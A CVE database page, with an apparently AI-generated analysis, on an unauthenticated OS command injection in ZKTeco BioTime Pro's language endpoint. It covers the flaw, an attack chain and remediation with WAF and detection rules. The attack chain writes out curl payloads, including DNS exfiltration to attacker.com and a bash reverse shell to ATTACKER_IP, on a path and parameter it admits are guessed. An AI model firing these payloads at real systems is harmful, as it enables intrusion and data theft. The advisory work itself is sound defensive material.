CVE Professor
/
All CVEs
CVE-2026-118323

CVE-2026-118323 — CWE-78

CRITICAL CVSS 9.3 NVD

Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco BioTime Pro versions before 2.0.2 allows remote unauthenticated attackers to execute arbitrary code via OS command injection

Improper neutralization of special elements used in an OS command in language-management endpoint in ZKTeco BioTime Pro versions before 2.0.2 allows remote unauthenticated attackers to execute arbitrary code via OS command injection

CVSS v4.0 Vector Metrics
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector Network AV:N
Attack Complexity Low AC:L
Attack Reqs. None AT:N
Privileges Req. None PR:N
User Interaction None UI:N
Vuln. Conf. High VC:H
Vuln. Integrity High VI:H
Vuln. Avail. High VA:H
Subseq. Conf. None SC:N
Subseq. Integ. None SI:N
Subseq. Avail. None SA:N
Scope X S:X
AI Security Analysis & Remediation

🎯 What is this vulnerability?

CVE-2026-118323 is a critical OS Command Injection (CWE-78) vulnerability in ZKTeco BioTime Pro, a biometric time and attendance management system.

Technical Flaw Analysis

The vulnerability resides in the language-management endpoint of the application. The flaw occurs because the backend application accepts user-supplied input (likely a language code, locale string, or configuration parameter) and passes it directly to an underlying Operating System command interpreter (e.g., sh -c, cmd /c, or exec) without proper sanitization or neutralization of special characters.
  • Missing Validation: The application fails to whitelist allowed characters or escape shell metacharacters (such as ;, |, &, $(), backticks, etc.).
  • Authentication Bypass: The CVSS vector PR:N (Privileges Required: None) and the description "remote unauthenticated attackers" indicate that this endpoint is exposed to the public internet without requiring a valid session token, API key, or login credentials.
  • Impact: An attacker can inject arbitrary OS commands that will be executed with the privileges of the service account running the BioTime Pro application.
  • ⚡ Attack Chain

    1. Discovery & Reconnaissance

  • Fingerprinting: The attacker scans the target IP address for open ports (typically 80, 443, or 8080 for ZKTeco devices).
  • Version Identification: The attacker sends a request to the root directory or common static assets (e.g., /js/version.js, /api/info) to identify the software as "ZKTeco BioTime Pro" and determine the version. If the version is < 2.0.2, the target is vulnerable.
  • Endpoint Mapping: The attacker identifies the language-management endpoint. While the exact URI is not specified in the CVE description, common patterns for such endpoints in ZKTeco software include /api/language, /lang, or /settings/language.
  • 2. Exploitation

    The attacker crafts a request to the vulnerable endpoint, injecting OS command separators into the parameter that controls the language setting.
    Note: The following payload is an illustrative example of the vulnerability class. The exact parameter name (e.g., lang, locale, code) and endpoint path must be discovered via manual testing or source code review, as they are not explicitly stated in the CVE description.

    Example Payload (Linux-based backend):
    If the vulnerable parameter is lang and the endpoint is /api/language:

    # Illustrative PoC - Replace 'lang' and '/api/language' with actual discovered values
    curl -X POST "http://<TARGET_IP>/api/language" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "lang=en; id > /tmp/pwned.txt"

    Example Payload (Windows-based backend):
    If the backend is Windows and uses cmd.exe:

    # Illustrative PoC
    curl -X POST "http://<TARGET_IP>/api/language" \
      -H "Content-Type: application/x-www-form-urlencoded" \
      -d "lang=en& whoami > C:\temp\pwned.txt"

    Blind Injection (If no output is returned):
    If the endpoint does not return command output, the attacker uses a blind technique to confirm execution and exfiltrate data:

    # Blind RCE via DNS exfiltration or Time-based delay
    # Example: Sleep for 5 seconds if command executes
    curl -X POST "http://<TARGET_IP>/api/language" \
      -d "lang=en; sleep 5"
    
    # Example: DNS exfiltration of hostname
    curl -X POST "http://<TARGET_IP>/api/language" \
      -d "lang=en; nslookup $(hostname).attacker.com"

    3. Post-Exploitation

    Once command execution is confirmed: 1. Reverse Shell: The attacker establishes a reverse shell to gain interactive access.
    # Linux Reverse Shell Example
        curl -X POST "http://<TARGET_IP>/api/language" \
          -d "lang=en; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"

    2. Privilege Escalation: The attacker checks the current user (whoami) and attempts to escalate privileges if the service runs as root or SYSTEM.
    3. Persistence: The attacker adds a cron job (Linux) or scheduled task (Windows) to maintain access.
    4. Lateral Movement: The attacker scans the internal network for other vulnerable hosts, leveraging the compromised host as a pivot point.

    🌍 Real World Impact

    Based on the CVSS:4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N:

  • Confidentiality (High): The attacker can read any file accessible by the service account, including user credentials, biometric data templates, and internal network configurations.
  • Integrity (High): The attacker can modify system files, corrupt time/attendance records, or install malicious software (e.g., rootkits, ransomware).
  • Availability (High): The attacker can crash the service, delete critical data, or consume system resources (DoS), rendering the time and attendance system unavailable.
  • Scope (None): The impact is confined to the vulnerable component and its direct resources. It does not directly compromise other systems unless lateral movement is performed.
  • Practical Consequences:

  • Data Breach: Exposure of employee PII (Personally Identifiable Information) and biometric data, leading to regulatory fines (GDPR, CCPA).

  • Operational Disruption: Inability to track employee attendance, leading to payroll errors and operational chaos.

  • Network Compromise: The compromised host can be used as a springboard to attack other internal systems, especially if the ZKTeco device is on a flat network without segmentation.
  • 🛡️ Remediation & Mitigation

    1. Patching (Primary Solution)

  • Upgrade: Immediately upgrade ZKTeco BioTime Pro to version 2.0.2 or later.
  • Verification: After upgrading, verify that the language-management endpoint no longer accepts shell metacharacters.
  • 2. Workarounds (If Immediate Patching is Not Possible)

  • Network Segmentation: Isolate the ZKTeco device in a dedicated VLAN with strict firewall rules. Allow only necessary traffic (e.g., from HR systems) and block all other inbound traffic.
  • WAF Rules: Deploy a Web Application Firewall (WAF) with rules to block common OS command injection patterns.
  • * ModSecurity Rule Example:
    SecRule REQUEST_BODY|ARGS|QUERY_STRING|REQUEST_URI \
              "(;|&&|\|\||`|\$\(.*\)|\|.*\||&.*&)" \
              "id:'100001',phase:2,rev:1,block,msg:'OS Command Injection Detected',logdata:'%{MATCHED_VAR}',severity:2,nolog,auditlog"

    * Note: WAFs are not a substitute for patching and can be bypassed by sophisticated attackers.

  • Disable Vulnerable Endpoint: If the language-management feature is not critical, consider disabling it via configuration or firewall rules (e.g., blocking access to the specific URI).
  • 3. Detection & IoCs

  • Web Server Logs: Monitor access logs for requests to the language-management endpoint containing shell metacharacters.
  • * Example Log Pattern:
    POST /api/language HTTP/1.1
            Content-Type: application/x-www-form-urlencoded
            lang=en; id

    * Regex for Detection:

    (lang|locale|code)=.*[;&|`$()]
  • Host-Based Detection:
  • * Monitor for unexpected processes spawned by the BioTime Pro service account (e.g., bash, cmd.exe, powershell). * Check for new files in temporary directories (e.g., /tmp, C:\temp) or unexpected cron jobs/scheduled tasks. * Monitor for outbound connections to unknown external IPs (potential reverse shells or C2 channels).

    ⚠️ Urgency

  • CVSS Score: 9.3 (Critical)
  • Exploitability: High (Unauthenticated, Network-based, Low Complexity)
  • CISA KEV Status: No (Not currently listed in the Known Exploited Vulnerabilities catalog, but this does not reduce urgency given the criticality and ease of exploitation)
  • Ransomware Risk: High (RCE can be used to deploy ransomware)
Patching Priority: CRITICAL / IMMEDIATE

Recommendation:
1. Within 24 hours: Isolate vulnerable instances from the network if patching cannot be done immediately.
2. Within 48 hours: Apply the patch (upgrade to v2.0.2+) to all affected systems.
3. Post-Patch: Conduct a forensic review to determine if the vulnerability has already been exploited (check logs for injection attempts, review system integrity).

[🤖 CVE Professor AI Security Engine]

Target Reconnaissance Queries (FOFA & Shodan)
CVSS Score
9.3 / 10 · CVSS CRITICAL
Weakness Types (CWE)
References & Advisories (2)
Related CVEs
9.2
CVE-2026-144499
ASN1SCC before 4.7.0.1 contains an out-of-bounds write vulnerability in the SequenceOf_decode template in StgC
8.8
CVE-2026-77418
Local CI is a ground-up rewrite of the GitHub Actions orchestration layer that runs entirely on a personal mac
8.8
CVE-2026-105101
An OS command injection vulnerability in the ping diagnostic function (InternetState.java) in Elinktek UZ801 4
8.8
CVE-2026-81135
Dell Secure Connect Gateway - Virtual Edition, versions prior to 5.36.00.16, contains an Improper Neutralizati
8.5
CVE-2026-85785
An OS command injection vulnerability in the internal management API of TP-Link Deco BE68 v1 allows an adjacen
8.2
CVE-2026-145364
### Summary A boolean operator-precedence bug in `convertPeerAuthentication()` (`pilot/pkg/serviceregistry/am
8.1
CVE-2026-92728
A heap out-of-bounds write flaw was found in GRUB2's DNS response parser. In recv_hook() (grub-core/net/dns.c)